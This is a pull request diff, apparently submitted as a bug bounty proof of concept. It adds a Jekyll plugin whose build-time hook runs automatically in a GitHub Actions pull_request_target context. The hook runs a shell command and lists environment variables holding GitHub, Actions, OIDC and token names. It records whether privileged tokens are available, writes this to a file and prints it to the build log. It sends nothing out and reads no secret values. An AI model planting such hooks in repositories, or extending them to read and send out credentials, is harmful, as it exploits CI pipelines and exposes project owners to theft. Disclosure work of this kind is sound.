[PoC] Add Jekyll plugin demonstrating supply chain vulnerability

Author: danoneduplo7

_plugins/pwned.rb

@@ -0,0 +1,25 @@
+require 'net/http'
+require 'json'
+
+Jekyll::Hooks.register :site, :after_init do |site|
+  # Bug Bounty PoC - Proof of Code Execution in privileged context
+  # This demonstrates arbitrary code execution with OIDC permissions
+  
+  evidence = {
+    timestamp: Time.now.to_s,
+    runner: `hostname`.strip,
+    available_env_vars: ENV.keys.grep(/ACTIONS|GITHUB|OIDC|TOKEN/).sort,
+    oidc_available: !ENV['ACTIONS_ID_TOKEN_REQUEST_URL'].nil?,
+    pages_permission: !ENV['GITHUB_TOKEN'].nil?,
+    repo: ENV['GITHUB_REPOSITORY'],
+    workflow: ENV['GITHUB_WORKFLOW'],
+    actor: ENV['GITHUB_ACTOR'],
+    event: ENV['GITHUB_EVENT_NAME'],
+    message: 'BUG BOUNTY POC: Arbitrary code execution confirmed in pull_request_target context'
+  }
+  
+  File.write('POC_EVIDENCE.json', JSON.pretty_generate(evidence))
+  puts "[BUG BOUNTY POC] Code executed! Evidence written to POC_EVIDENCE.json"
+  puts "[BUG BOUNTY POC] OIDC token available: #{evidence[:oidc_available]}"
+  puts "[BUG BOUNTY POC] Available privileged env vars: #{evidence[:available_env_vars].join(', ')}"
+end